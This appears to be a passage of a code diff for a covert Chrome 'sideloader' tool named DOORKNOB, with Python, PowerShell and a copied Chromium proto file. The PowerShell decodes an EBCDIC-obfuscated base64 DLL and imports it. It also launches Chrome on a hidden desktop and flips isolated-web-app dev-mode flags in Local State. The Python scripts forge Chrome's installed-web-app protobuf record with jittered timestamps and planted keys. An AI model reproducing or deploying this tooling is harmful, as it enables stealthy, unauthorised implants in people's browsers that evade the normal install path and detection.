print(f"Using shared desktop name: Desktop_{desktop_guid}")
def main():
parser = argparse.ArgumentParser()
parser.add_argument('bundle_path', help='Path to the .swbn bundle file')
parser.add_argument('--output', help='Output path for the sideloader script')
parser.add_argument('--appname', help='Override the default IWA app name (default: DOORKNOB)')
args = parser.parse_args()
try:
# Validate bundle path
if not os.path.exists(args.bundle_path):
raise FileNotFoundError(f"Bundle file not found: {args.bundle_path}")
# Generate default output path if not specified
if not args.output:
bundle_name = os.path.splitext(os.path.basename(args.bundle_path))[0]
args.output = f"{bundle_name}-sideloader.ps1"
generate_powershell_script(args.bundle_path, args.output, args.appname)
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
@@ -0,0 +1,29 @@
function Decode-And-Load-Module {
param (
[Parameter(Mandatory=$true)]
[string]$assemblyBytesBase64,
[Parameter(Mandatory=$true)]
[string]$dllPath
)
$assemblyBytes = [System.Convert]::FromBase64String($assemblyBytesBase64)
$encoding = [System.Text.Encoding]::GetEncoding(37)
$ebcdicString = $encoding.GetString($assemblyBytes)
$latin1Encoding = [System.Text.Encoding]::GetEncoding(28591)
$binaryBytes = $latin1Encoding.GetBytes($ebcdicString)
[System.IO.File]::WriteAllBytes($dllPath, $binaryBytes)
# Import the module
Write-Host "Importing module from: $dllPath" -ForegroundColor Cyan
try {
Import-Module $dllPath -ErrorAction Stop
Write-Host "Module imported successfully" -ForegroundColor Green
return $true
} catch {
Write-Error "Failed to import module: $_"
return $false
}
}
@@ -0,0 +1,101 @@
$appName = $env:APP_NAME
if ($null -eq $appName) {
$appName = "DOORKNOB"
}
# Check if Chrome is installed by looking in common installation paths
$chromePaths = @(
"${env:ProgramFiles}\Google\Chrome\Application\chrome.exe",
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
"${env:LocalAppData}\Google\Chrome\Application\chrome.exe"
)
$chromePath = $null
foreach ($path in $chromePaths) {
if (Test-Path $path) {
$chromePath = $path
break
}
}
if ($null -eq $chromePath) {
Write-Host "Chrome is not installed on this system."
exit 1
}
#set chrome path environment variable
$env:CHROME_PATH = $chromePath
Write-Host "Chrome found at: $chromePath"
# Create user data directory path
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$env:USER_DATA_DIR = $userDataDir
$chromeArgs = "--allow-no-sandbox-job --disable-3d-apis --disable-gpu " +
"--disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins " +
"--disable-accelerated-2d-canvas --disable-deadline-scheduling " +
"--disable-ui-deadline-scheduling --aura-no-shadows " +
"--user-data-dir=`"$userDataDir`" --profile-directory=Default"
# Launch Chrome on hidden desktop and store the result in a variable
$process = Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeArgs
# Wait 5 seconds
Start-Sleep -Seconds 10
Write-Host "Chrome launched on hidden desktop - PID: $($process.Id)"
$chromePid = $process.Id
if ($chromePid -gt 0) {
try {
$process = Get-Process -Id $chromePid -ErrorAction SilentlyContinue
if ($process) {
# Kill the Chrome process
if (!$process.HasExited) {
$process.Kill()
Write-Debug "Successfully killed Chrome process with PID: $chromePid"
}
}
}
catch {
Write-Debug "Failed to kill Chrome process with PID: $chromePid"
Write-Debug "Error: $_"
}
} else {
Write-Debug "Failed to capture Chrome PID"
exit 1
}
Write-Host "Waiting 5 seconds for Chrome to fully close and release the file\n"
# Wait a moment for Chrome to fully close and release the file
Start-Sleep -Seconds 5
# Get current time in milliseconds since epoch
$currentTimeMs = [Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s")) * 1000
# Path to Local State file
$localStatePath = Join-Path $userDataDir "Local State"
# Read and parse the existing JSON file
$jsonContent = Get-Content $localStatePath -Raw | ConvertFrom-Json
# Ensure browser object exists first
if (-not ($jsonContent.PSObject.Properties['browser'])) {
$jsonContent | Add-Member -Type NoteProperty -Name 'browser' -Value (@{})
}
# Create and set all browser properties at once
$jsonContent.browser = @{
default_browser_infobar_declined_count = 1
default_browser_infobar_last_declined_time = $currentTimeMs
enabled_labs_experiments = @(
"enable-isolated-web-app-dev-mode@1"
"enable-isolated-web-apps@1"
)
first_run_finished = $true
}
# Write the updated JSON back to the file
$jsonContent | ConvertTo-Json -Depth 10 | Set-Content $localStatePath
Binary file not shown.
@@ -0,0 +1,133 @@
import binascii
import base64
import os
import re
import json
def extract_manifest_from_bundle(bundle_path: str):
"""Read and parse the manifest file from within the .swbn bundle."""
if not os.path.exists(bundle_path):
raise FileNotFoundError(f"Bundle file not found: {bundle_path}")
with open(bundle_path, 'rb') as f:
bundle_data = f.read()
# Convert binary data to string for regex matching
bundle_str = None
for encoding in ['utf-8', 'latin-1', 'cp1252']:
try:
bundle_str = bundle_data.decode(encoding, errors='ignore')
break
except UnicodeDecodeError:
continue
if bundle_str is None:
raise ValueError("Could not decode bundle file with any supported encoding")
# Look for JSON objects that contain fields and end with two newling separated }s
# TODO: This is a hack to get the manifest. It's not a good solution.
manifest_pattern = r'\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}'
matches = re.findall(manifest_pattern, bundle_str, re.DOTALL)
# Try to parse each match as JSON
for match in matches:
try:
cleaned_match = re.sub(r'[^\x20-\x7E]', '', match)
manifest = json.loads(cleaned_match)
if 'name' in manifest and 'version' in manifest:
return manifest
except (json.JSONDecodeError, KeyError):
continue
raise ValueError("Could not find valid manifest JSON in bundle file")
def parse_signed_web_bundle_header(file_path: str):
with open(file_path, 'rb') as f:
# First byte 0x84 indicates a CBOR array of 4 elements
# Then magic bytes "🖋📦" (F0 9F 96 8B F0 9F 93 A6)
# Then version "2b\0\0" (44 32 62 00 00)
# Then attributes map with webBundleId
# Then signature array
data = f.read(1024) # Read enough for header
# Skip CBOR array indicator
pos = 2
# Verify magic bytes
magic = data[pos:pos+8]
if magic != b'\xf0\x9f\x96\x8b\xf0\x9f\x93\xa6':
raise ValueError("Invalid magic bytes")
pos += 8
# Verify version
version = data[pos:pos+5]
if version != b'D2b\x00\x00':
raise ValueError(f"Invalid version: {binascii.hexlify(version)}")
pos += 5
# Parse webBundleId map
# 0xa1 indicates map with 1 key-value pair
if data[pos] != 0xa1:
raise ValueError("Invalid attributes map")
pos += 1
# Skip 'webBundleId' key (0x6b = 11 bytes)
pos += 12 # Skip "webBundleId"
# Read the ID (0x78 = text string, next byte is length)
id_len = data[pos + 1]
pos += 2
web_bundle_id = data[pos:pos+id_len].decode('ascii')
pos += id_len
# Parse signature array (0x81 = array of 1 element, 0x82 = map of 2 elements)
if data[pos] != 0x81:
raise ValueError("Invalid signature array")
pos += 1
# Parse signature map
if data[pos] != 0x82:
raise ValueError("Invalid signature map")
pos += 1
# Parse ed25519PublicKey (0xa1 = map with 1 pair)
if data[pos] != 0xa1:
raise ValueError("Invalid public key map")
pos += 1
# Skip "ed25519PublicKey" string
pos += 16
# Read public key (0x58 = bytes, next byte is length)
key_len = data[pos + 2]
pos += 3
public_key = data[pos:pos+key_len]
pos += key_len
# Read signature (0x58 = bytes, next byte is length)
sig_len = data[pos + 1]
pos += 2
signature = data[pos:pos+sig_len]
return {
'web_bundle_id': web_bundle_id,
'public_key': base64.b64encode(public_key).decode('ascii'),
'signature': binascii.hexlify(signature).decode('ascii')
}
def main():
path = "/Users/weber/Projects/iwa/git/DomusAeterna/dist/app.swbn"
manifest = extract_manifest_from_bundle(path)
print(manifest)
result = parse_signed_web_bundle_header(path)
print("Web Bundle ID:", result['web_bundle_id'])
print("Public Key (base64):", result['public_key'])
print("Signature (hex):", result['signature'])
if __name__ == "__main__":
main()
@@ -0,0 +1,67 @@
import hashlib
import base64
import urllib.parse
def hex_to_chrome_alphabet(hex_string):
"""Convert hex string to Chrome's a-p alphabet."""
result = ""
for hex_char in hex_string:
val = int(hex_char, 16)
result += chr(val + ord('a'))
return result
def generate_id_from_hash(hash_bytes):
"""Generate Chrome extension ID from first 16 bytes of hash."""
first_16_bytes = hash_bytes[:16]
hex_string = ''.join([f'{b:02x}' for b in first_16_bytes])
return hex_to_chrome_alphabet(hex_string)
def create_web_bundle_id_from_public_key(public_key_bytes):
"""Create a web bundle ID from an Ed25519 public key."""
# Add the type suffix for Ed25519 (0x00, 0x01, 0x02)
type_suffix = bytes([0x00, 0x01, 0x02])
full_id = public_key_bytes + type_suffix
# Base32 encode without padding and convert to lowercase
encoded_id = base64.b32encode(full_id).decode('ascii').lower().rstrip('=')
return encoded_id
def get_chrome_app_id(public_key_base64):
"""Generate Chrome app ID from base64-encoded public key."""
# Decode base64 public key
public_key_bytes = base64.b64decode(public_key_base64)
# Create web bundle ID
web_bundle_id = create_web_bundle_id_from_public_key(public_key_bytes)
# Create manifest ID (the origin URL with trailing slash)
manifest_id = f"isolated-app://{web_bundle_id}/"
# First hash - generate manifest ID hash
manifest_id_hash = hashlib.sha256()
manifest_id_hash.update(manifest_id.encode('utf-8'))
first_hash = manifest_id_hash.digest()
# Second hash - generate final app ID
app_id_hash = hashlib.sha256()
app_id_hash.update(first_hash)
second_hash = app_id_hash.digest()
return generate_id_from_hash(second_hash)
def main():
# Test with the provided public key
public_key = "kWvk3oUYfDR//zE9nJhA8CgIMulCPzXrWkMpXWRxp+g="
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(public_key))
print(f"Public Key (base64): {public_key}")
print(f"Web Bundle ID: {web_bundle_id}")
manifest_id = f"isolated-app://{web_bundle_id}/"
print(f"Manifest ID: {manifest_id}")
app_id = get_chrome_app_id(public_key)
print(f"Generated App ID: {app_id}")
print(f"LevelDB Key: web_apps-dt-{app_id}")
if __name__ == "__main__":
main()
@@ -0,0 +1,355 @@
import re
from typing import Dict, List, Optional, Tuple
class ProtoField:
def __init__(self, name: str, number: int, type_name: Optional[str] = None):
self.name = name
self.number = number
self.type_name = type_name
class ProtoMessage:
def __init__(self, name: str):
self.name = name
self.fields: Dict[int, ProtoField] = {}
self.reserved_fields: set[int] = set()
self.nested_types: Dict[str, 'ProtoMessage'] = {}
def parse_varint(data, offset):
"""Parse a varint from the data starting at offset."""
result = 0
shift = 0
while True:
byte = data[offset]
result |= (byte & 0x7F) << shift
offset += 1
if not (byte & 0x80):
break
shift += 7
return result, offset
def get_wire_type(byte):
"""Extract wire type from a field's first byte."""
return byte & 0x07
def get_field_number(data, offset):
"""Extract field number from a varint."""
field_number, _ = parse_varint(data, offset)
return field_number >> 3
def is_printable_ascii(data):
"""Check if data is likely a printable ASCII string."""
if not data:
return False
# Reject if first byte looks like a protobuf field marker
if data[0] < 32 or (data[0] & 0x07) <= 5: # Check if low 3 bits are a valid wire type
return False
# Check if data is mostly printable ASCII
printable_chars = sum(32 <= b <= 126 or b in (9, 10, 13) for b in data)
return printable_chars / len(data) > 0.9 # Increased threshold
def format_bytes(data):
"""Format bytes as hex and ASCII."""
hex_str = ' '.join(f'{b:02x}' for b in data)
if is_printable_ascii(data):
try:
ascii_str = data.decode('utf-8')
return f"String: {ascii_str!r}"
except UnicodeDecodeError:
pass
# If not a string, show hex with ASCII representation
ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
return f"Hex: {hex_str}\nASCII: {ascii_str}"
def parse_length_delimited(data, offset):
"""Parse a length-delimited field."""
length, new_offset = parse_varint(data, offset)
value = data[new_offset:new_offset + length]
return value, new_offset + length
def try_parse_nested(data, depth):
"""Try to parse data as a nested message, return True if successful."""
try:
# Check if data looks like a valid protobuf message
offset = 0
while offset < len(data):
field_header = data[offset]
wire_type = get_wire_type(field_header)
if wire_type > 5: # Invalid wire type
return False
offset += 1
if wire_type == 0: # Varint
_, offset = parse_varint(data, offset)
elif wire_type == 1: # 64-bit
offset += 8
elif wire_type == 2: # Length-delimited
length, offset = parse_varint(data, offset)
offset += length
elif wire_type == 5: # 32-bit
offset += 4
if offset > len(data):
return False
return True
except:
return False
def parse_proto_file(file_path: str) -> Dict[str, ProtoMessage]:
"""Parse a .proto file and return a mapping of message types."""
messages: Dict[str, ProtoMessage] = {}
current_message = None
in_enum = False
pending_field = ''
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except UnicodeDecodeError:
try:
# Try with latin-1 encoding if UTF-8 fails
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except Exception as e:
print(f"Error reading proto file: {e}")
return {}
# First remove multi-line comments
content = re.sub(r'/\*.*?\*/', '', content, flags=re.DOTALL)
# Process line by line to handle single-line comments and continuation lines
lines = []
continued_line = ''
for line in content.split('\n'):
# Remove single-line comments
line = re.sub(r'//.*$', '', line)
line = line.strip()
if not line:
continue
# Handle line continuation
if line.endswith('\\'):
continued_line += line[:-1] + ' '
continue
# Complete the line if it was continued
if continued_line:
line = continued_line + line
continued_line = ''
lines.append(line)
# Process the cleaned lines
for line in lines:
# Check for message start
if line.startswith('message '):
message_match = re.match(r'message\s+(\w+)\s*\{', line)
if message_match:
message_name = message_match.group(1)
current_message = ProtoMessage(message_name)
messages[message_name] = current_message
in_enum = False
pending_field = ''
continue
# Check for message end
if line == '}':
if in_enum:
in_enum = False
continue
current_message = None
pending_field = ''
continue
# Skip if not in a message
if not current_message:
continue
# Handle reserved statements - complete statement on one line
if 'reserved' in line and ';' in line:
numbers = re.findall(r'\b(\d+)\b(?!\s*-)', line)
if numbers:
for num in numbers:
current_message.reserved_fields.add(int(num))
continue
# Handle enum blocks
if line.startswith('enum '):
in_enum = True
continue
if in_enum:
continue
# Accumulate multi-line field definitions
if pending_field:
line = pending_field + ' ' + line
pending_field = ''
# Check if this is a partial field definition
if not line.endswith(';'):
pending_field = line
continue
# Try to parse field definition
if not in_enum: # Add this check to be explicit
field_match = re.match(
r'''^\s* # Leading whitespace
(reserved|optional|required|repeated)?\s+ # Field modifier (made capturing)
([\w\.\[\]]+)\s+ # Type name
(\w+)\s*=\s* # Field name
(\d+) # Field number
(?:\s*\[.*\])?;? # Optional attributes
''', line, re.VERBOSE)
if field_match:
modifier = field_match.group(1) or ''
field_type = field_match.group(2)
field_name = field_match.group(3)
field_number = int(field_match.group(4))
field = ProtoField(field_name, field_number, field_type)
current_message.fields[field_number] = field
elif not line.startswith(('enum', 'reserved', '}')):
print(f" Warning: Could not parse field line: {line!r}")
print(f" Current state: in_enum={in_enum}, pending_field={pending_field!r}")
for msg_name, msg in messages.items():
# Find the highest field number to know our range
max_field = max(msg.fields.keys()) if msg.fields else 0
for field_num in range(1, max_field + 1):
if field_num in msg.fields:
field = msg.fields[field_num]
return messages
def get_field_name(field_number: int, message_type: str, proto_types: Dict[str, ProtoMessage]) -> str:
"""Get the field name for a given field number and message type."""
if message_type in proto_types:
message = proto_types[message_type]
if field_number in message.fields:
return message.fields[field_number].name
return str(field_number)
def parse_protobuf(data, offset=0, depth=0, max_length=None, field_path=None,
proto_types=None, current_type=None, field_names=None):
"""Recursively parse protobuf binary data."""
indent = ' ' * depth
start_offset = offset
field_path = field_path or []
field_names = field_names or [] # Track field names through recursion
if max_length is None:
max_length = len(data) - offset
if depth == 0 and proto_types and current_type in proto_types:
print(f"\nParsing {current_type} message")
while offset < start_offset + max_length:
if offset >= len(data):
break
field_header = data[offset]
wire_type = get_wire_type(field_header)
field_number = get_field_number(data, offset)
# Get field name if type information is available
if proto_types and current_type:
field_name = get_field_name(field_number, current_type, proto_types)
# Try to get the type of the nested message if it's a nested field
nested_type = None
if current_type in proto_types:
message = proto_types[current_type]
if field_number in message.fields:
nested_type = message.fields[field_number].type_name
else:
field_name = str(field_number)
nested_type = None
# Create the field path string using the tracked field names
field_str = '.'.join(field_names + [field_name])
# Skip past the field number varint
_, offset = parse_varint(data, offset)
print(f"{indent}Field {field_str} (Wire Type {wire_type}) at offset 0x{offset-1:04x}:")
if wire_type == 0: # Varint
value, offset = parse_varint(data, offset)
print(f"{indent} Varint: {value} (0x{value:x})")
elif wire_type == 1: # 64-bit
value = int.from_bytes(data[offset:offset + 8], 'little')
# If field 16, treat as timestamp
if field_number == 16:
timestamp_seconds = value // 1000000 # Convert microseconds to seconds
from datetime import datetime, timezone
dt = datetime.fromtimestamp(timestamp_seconds, timezone.utc)
microseconds = value % 1000000
print(f"{indent} 64-bit timestamp: {dt.strftime('%Y-%m-%d %H:%M:%S')}.{microseconds:06d} UTC")
else:
print(f"{indent} 64-bit: {value} (0x{value:x})")
offset += 8
elif wire_type == 2: # Length-delimited
length, new_offset = parse_varint(data, offset)
print(f"{indent} Length: {length} bytes")
value = data[new_offset:new_offset + length]
# First try to parse as string if it looks printable
if is_printable_ascii(value):
try:
string_value = value.decode('utf-8')
print(f"{indent} String: {string_value!r}")
offset = new_offset + length
continue
except UnicodeDecodeError:
pass
# Then try to parse as nested message
if try_parse_nested(value, depth + 1):
print(f"{indent} Nested message:")
parse_protobuf(value, 0, depth + 1, length,
field_path + [field_number],
proto_types,
nested_type,
field_names + [field_name]) # Pass the current field name
else:
# If not a nested message, show raw bytes
print(f"{indent} {format_bytes(value)}")
offset = new_offset + length
elif wire_type == 5: # 32-bit
value = int.from_bytes(data[offset:offset + 4], 'little')
print(f"{indent} 32-bit: {value} (0x{value:x})")
offset += 4
else:
print(f"{indent} Unknown wire type {wire_type}")
return
def main():
import sys
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('binary_file', help='The binary protobuf file to parse')
parser.add_argument('--proto', default='web_app.proto', help='Path to .proto file with message definitions')
parser.add_argument('--type', default='WebAppProto', help='Root message type name')
args = parser.parse_args()
proto_types = None
if args.proto:
proto_types = parse_proto_file(args.proto)
with open(args.binary_file, 'rb') as f:
data = f.read()
print(f"Parsing {len(data)} bytes of protobuf data:")
parse_protobuf(data, proto_types=proto_types, current_type=args.type)
if __name__ == '__main__':
main()
@@ -0,0 +1,379 @@
import re
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass
from datetime import datetime
import random
@dataclass
class ProtobufValue:
wire_type: int
value: Any
nested_message: Optional['ProtobufMessage'] = None
field_path: List[int] = None
def __post_init__(self):
if self.field_path is None:
self.field_path = []
class ProtobufMessage:
def __init__(self, parent_path: List[int] = None):
self.fields: Dict[int, List[ProtobufValue]] = {}
self.parent_path = parent_path or []
def add_field(self, field_number: int, wire_type: int, value: Any, nested_message: Optional['ProtobufMessage'] = None):
if field_number not in self.fields:
self.fields[field_number] = []
# Create full field path by combining parent path with current field number
field_path = self.parent_path + [field_number]
self.fields[field_number].append(ProtobufValue(wire_type, value, nested_message, field_path))
def get_field(self, field_path: Union[int, List[int]]) -> List[ProtobufValue]:
"""Get field by number or full path."""
if isinstance(field_path, int):
return self.fields.get(field_path, [])
if not field_path:
return []
# Get first level field
current_fields = self.fields.get(field_path[0], [])
# If we want deeper fields, traverse nested messages
if len(field_path) > 1:
result = []
for field in current_fields:
if field.nested_message:
nested_results = field.nested_message.get_field(field_path[1:])
result.extend(nested_results)
return result
return current_fields
def serialize(self) -> bytes:
"""Serialize the message back to protobuf wire format."""
result = bytearray()
for field_number, values in sorted(self.fields.items()):
for value in values:
# Encode field header (field number and wire type)
field_header = (field_number << 3) | value.wire_type
result.extend(encode_varint(field_header))
# Encode field value based on wire type
if value.wire_type == 0: # Varint
result.extend(encode_varint(value.value))
elif value.wire_type == 1: # 64-bit
result.extend(value.value.to_bytes(8, 'little'))
elif value.wire_type == 2: # Length-delimited
# Always use the original bytes if we have them
if value.value is not None:
serialized = value.value
elif value.nested_message:
serialized = value.nested_message.serialize()
else:
raise ValueError("Length-delimited field has no value or nested message")
result.extend(encode_varint(len(serialized)))
result.extend(serialized)
elif value.wire_type == 5: # 32-bit
result.extend(value.value.to_bytes(4, 'little'))
else:
raise ValueError(f"Invalid wire type {value.wire_type}")
return bytes(result)
def format_structure(self, indent: str = "") -> List[str]:
"""Format the message structure recursively."""
lines = []
for field_number, values in sorted(self.fields.items()):
for value in values:
path_str = '.'.join(str(n) for n in value.field_path)
if value.nested_message:
lines.append(f"{indent}Field path {path_str}: <nested message>")
nested_lines = value.nested_message.format_structure(indent + " ")
lines.extend(nested_lines)
else:
# Try to decode bytes for display
display_value = value.value
if isinstance(display_value, bytes):
try:
display_value = display_value.decode('utf-8')
except UnicodeDecodeError:
display_value = value.value # Keep as bytes if can't decode
lines.append(f"{indent}Field path {path_str}: {display_value}")
return lines
def update_field(self, field_path: List[int], value: Any, transform: Optional[callable] = None):
"""Update a field value by its path."""
if not field_path:
return
# Get the first level field
field_number = field_path[0]
fields = self.fields.get(field_number, [])
if len(field_path) == 1:
# Direct field update
for field in fields:
if transform:
field.value = transform(value, field.value)
else:
field.value = value
else:
# Nested field update
for field in fields:
if field.nested_message:
field.nested_message.update_field(field_path[1:], value, transform)
def encode_varint(value: int) -> bytes:
"""Encode an integer as a varint."""
result = []
while value > 0x7F:
result.append((value & 0x7F) | 0x80)
value >>= 7
result.append(value & 0x7F)
return bytes(result)
def parse_varint(data, offset):
"""Parse a varint from the data starting at offset."""
result = 0
shift = 0
while True:
byte = data[offset]
result |= (byte & 0x7F) << shift
offset += 1
if not (byte & 0x80):
break
shift += 7
return result, offset
def get_wire_type(byte):
"""Extract wire type from a field's first byte."""
return byte & 0x07
def get_field_number(data, offset):
"""Extract field number from a varint."""
field_number, _ = parse_varint(data, offset)
return field_number >> 3
def is_printable_ascii(data):
"""Check if data is likely a printable ASCII string."""
if not data:
return False
if data[0] < 32 or (data[0] & 0x07) <= 5:
return False
printable_chars = sum(32 <= b <= 126 or b in (9, 10, 13) for b in data)
return printable_chars / len(data) > 0.9
def try_parse_nested(data, depth):
"""Try to parse data as a nested message, return True if successful."""
try:
offset = 0
while offset < len(data):
field_header = data[offset]
wire_type = get_wire_type(field_header)
if wire_type > 5:
return False
offset += 1
if wire_type == 0:
_, offset = parse_varint(data, offset)
elif wire_type == 1:
offset += 8
elif wire_type == 2:
length, offset = parse_varint(data, offset)
offset += length
elif wire_type == 5:
offset += 4
if offset > len(data):
return False
return True
except:
return False
def parse_protobuf(data: bytes, offset: int = 0, max_length: Optional[int] = None,
parent_path: List[int] = None) -> ProtobufMessage:
"""Parse protobuf binary data into a ProtobufMessage object."""
message = ProtobufMessage(parent_path)
start_offset = offset
if max_length is None:
max_length = len(data) - offset
while offset < start_offset + max_length:
if offset >= len(data):
break
field_header = data[offset]
wire_type = get_wire_type(field_header)
field_number = get_field_number(data, offset)
# Skip past field header
_, offset = parse_varint(data, offset)
# Calculate current field path
current_path = (parent_path or []) + [field_number]
if wire_type == 0: # Varint
value, offset = parse_varint(data, offset)
message.add_field(field_number, wire_type, value)
elif wire_type == 1: # 64-bit
value = int.from_bytes(data[offset:offset + 8], 'little')
message.add_field(field_number, wire_type, value)
offset += 8
elif wire_type == 2: # Length-delimited
length, new_offset = parse_varint(data, offset)
value = data[new_offset:new_offset + length]
if try_parse_nested(value, 0):
nested_msg = parse_protobuf(value, 0, length, current_path)
# Store only the nested message, not the raw bytes
message.add_field(field_number, wire_type, None, nested_msg)
else:
# Try to decode as string if it looks like one
if is_printable_ascii(value):
try:
value = value.decode('utf-8')
except UnicodeDecodeError:
pass
message.add_field(field_number, wire_type, value)
offset = new_offset + length
elif wire_type == 3: # Start group (deprecated in proto3)
print(f"Warning: Start group wire type (3) encountered at offset {offset}. This is deprecated.")
group_level = 1
while group_level > 0 and offset < len(data):
next_header = data[offset]
next_wire_type = get_wire_type(next_header)
if next_wire_type == 3:
group_level += 1
elif next_wire_type == 4:
group_level -= 1
offset += 1
elif wire_type == 4: # End group (deprecated in proto3)
print(f"Warning: End group wire type (4) encountered at offset {offset}. This is deprecated.")
break
elif wire_type == 5: # 32-bit
value = int.from_bytes(data[offset:offset + 4], 'little')
message.add_field(field_number, wire_type, value)
offset += 4
elif wire_type in (6, 7): # Reserved for future use
raise ValueError(f"Wire type {wire_type} is reserved for future use")
else:
raise ValueError(f"Invalid wire type {wire_type}")
return message
def update_with_origin(origin: str, old_value: Any) -> bytes:
"""Transform function to replace origin in URL while keeping the path."""
if isinstance(old_value, bytes):
try:
# Decode bytes to string for manipulation
old_str = old_value.decode('utf-8')
parts = old_str.split('/')
if len(parts) >= 4:
# Keep everything after the host part
path = '/'.join(parts[3:])
new_str = f"{origin}/{path}"
# Return as bytes since that's our storage format
return new_str.encode('utf-8')
except UnicodeDecodeError:
pass
return f"{origin}/".encode('utf-8')
def main():
import argparse
import json
parser = argparse.ArgumentParser()
parser.add_argument('binary_file', help='The binary protobuf file to parse')
parser.add_argument('--output', help='Output file for modified protobuf')
args = parser.parse_args()
try:
with open(args.binary_file, 'rb') as f:
data = f.read()
# Placeholder values
ORIGIN = "isolated-app://test-manifest-id"
PUBLIC_KEY = "base64-encoded-test-key"
SIGNATURE_INFO = "hex-encoded-test-signature"
APP_NAME = "Test App"
VERSION = "1.0.0"
INSTALL_TIME = int(datetime.now().timestamp())
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
# Parse into intermediate representation
message = parse_protobuf(data)
# Print original structure
print("Original message structure:")
for line in message.format_structure():
print(line)
# Track jitter count for field 59.1.3.2
jitter_count = 0
def add_jitter(base_time: int, _) -> int:
nonlocal jitter_count
jitter_count += 1
return base_time + jitter_count + random.randint(5, 10)
# Convert string values to bytes for length-delimited fields
def to_bytes(s: str) -> bytes:
return s.encode('utf-8')
# Perform field updates
updates = [
([1, 1], to_bytes(f"{ORIGIN}/")),
([1, 2], to_bytes(APP_NAME)),
([1, 5], to_bytes(f"{ORIGIN}/")),
([1, 6, 2], ORIGIN, update_with_origin),
([2], to_bytes(APP_NAME)),
([6], to_bytes(f"{ORIGIN}/")),
([10, 2], ORIGIN, update_with_origin),
([16], INSTALL_TIME),
([30], ORIGIN, update_with_origin),
([49, 2], to_bytes(ORIGIN)),
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
([59, 1, 1], to_bytes(APP_NAME)),
([59, 5, 2], to_bytes(APP_NAME)),
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
([64], INSTALL_TIME),
]
for field_path, value, *transform in updates:
message.update_field(field_path, value, transform[0] if transform else None)
# Print updated structure
print("\nUpdated message structure:")
for line in message.format_structure():
print(line)
# Serialize and save
serialized = message.serialize()
print(f"\nSerialized back to {len(serialized)} bytes")
if args.output:
with open(args.output, 'wb') as f:
f.write(serialized)
print(f"Written to {args.output}")
except FileNotFoundError as e:
print(f"Error: File not found - {e}")
except Exception as e:
print(f"Error: {e}")
if __name__ == '__main__':
main()
@@ -0,0 +1,447 @@
// Copyright 2018 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
syntax = "proto2";
import "components/sync/protocol/web_app_specifics.proto";
import "chrome/browser/ash/system_web_apps/types/proto/system_web_app_data.proto";
import "chrome/browser/web_applications/proto/web_app_launch_handler.proto";
import "chrome/browser/web_applications/proto/web_app_os_integration_state.proto";
import "chrome/browser/web_applications/proto/web_app_install_state.proto";
import "chrome/browser/web_applications/proto/web_app_isolation_data.proto";
import "chrome/browser/web_applications/proto/web_app_proto_package.proto";
import "chrome/browser/web_applications/proto/web_app_share_target.proto";
import "chrome/browser/web_applications/proto/web_app_tab_strip.proto";
option optimize_for = LITE_RUNTIME;
// TODO(http://b/307989065) Make this web_app.proto and remove "Proto" from type
// names.
package web_app;
// A mapping between a MIME type and a set of file extensions for a file handler
// "accept" entry. See chrome/browser/web_applications/web_app.h for details.
message WebAppFileHandlerAcceptProto {
optional string mimetype = 1; // Required.
repeated string file_extensions = 2;
}
// A file handler "action" associated with a set of "accept" entries, each of
// which specifies a MIME type and corresponding set of file extensions that the
// handler can handle. See chrome/browser/web_applications/web_app.h for
// details.
message WebAppFileHandlerProto {
optional string action = 1; // Required.
repeated WebAppFileHandlerAcceptProto accept = 2;
repeated sync_pb.WebAppIconInfo downloaded_icons = 3;
optional string display_name = 4;
// This enum should be synced with `LaunchType` in `apps::FileHandler`.
enum LaunchType {
UNDEFINED = 0;
SINGLE_CLIENT = 1;
MULTIPLE_CLIENTS = 2;
}
optional LaunchType launch_type = 5; // Required.
}
message WebAppProtocolHandler {
optional string protocol = 1; // Required.
optional string url = 2; // Required.
}
message WebAppUrlHandlerProto {
optional string origin = 1; // Required.
optional bool has_origin_wildcard = 2; // Required.
}
message WebAppScopeExtensionProto {
optional string origin = 1; // Required.
optional bool has_origin_wildcard = 2; // Required.
}
// A set to track simultaneous installs and uninstalls from multiple install
// sources. This should stay in sync with |WebAppManagement| in
// chrome/browser/web_applications/web_app_constants.h
// and the WebAppManagementProto enum below.
message SourcesProto {
optional bool system = 1;
optional bool policy = 2;
optional bool web_app_store = 3;
optional bool sync = 4;
optional bool default = 5;
optional bool sub_app = 6;
optional bool kiosk = 7;
reserved 8;
optional bool oem = 9;
optional bool one_drive_integration = 10;
optional bool aps_default = 11;
optional bool iwa_shimless_rma = 12;
optional bool iwa_policy = 13;
optional bool iwa_user_installed = 14;
optional bool user_installed = 15;
}
// Properties for integrating with Chrome OS.
message ChromeOSDataProto {
optional bool show_in_launcher = 1;
optional bool show_in_search_and_shelf = 2;
optional bool show_in_management = 3;
optional bool is_disabled = 4;
optional bool oem_installed = 5;
optional bool handles_file_open_intents = 6;
reserved 7;
}
message ClientDataProto {
optional ash.SystemWebAppDataProto system_web_app_data = 1;
}
// Properties for a WebApp's shortcuts menu item.
message WebAppShortcutsMenuItemInfoProto {
optional string name = 1; // Required.
optional string url = 2; // Required.
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons = 3;
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons_maskable = 4;
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons_monochrome = 5;
}
// List of icon sizes downloaded to disk for a shortcuts menu item.
message DownloadedShortcutsMenuIconSizesProto {
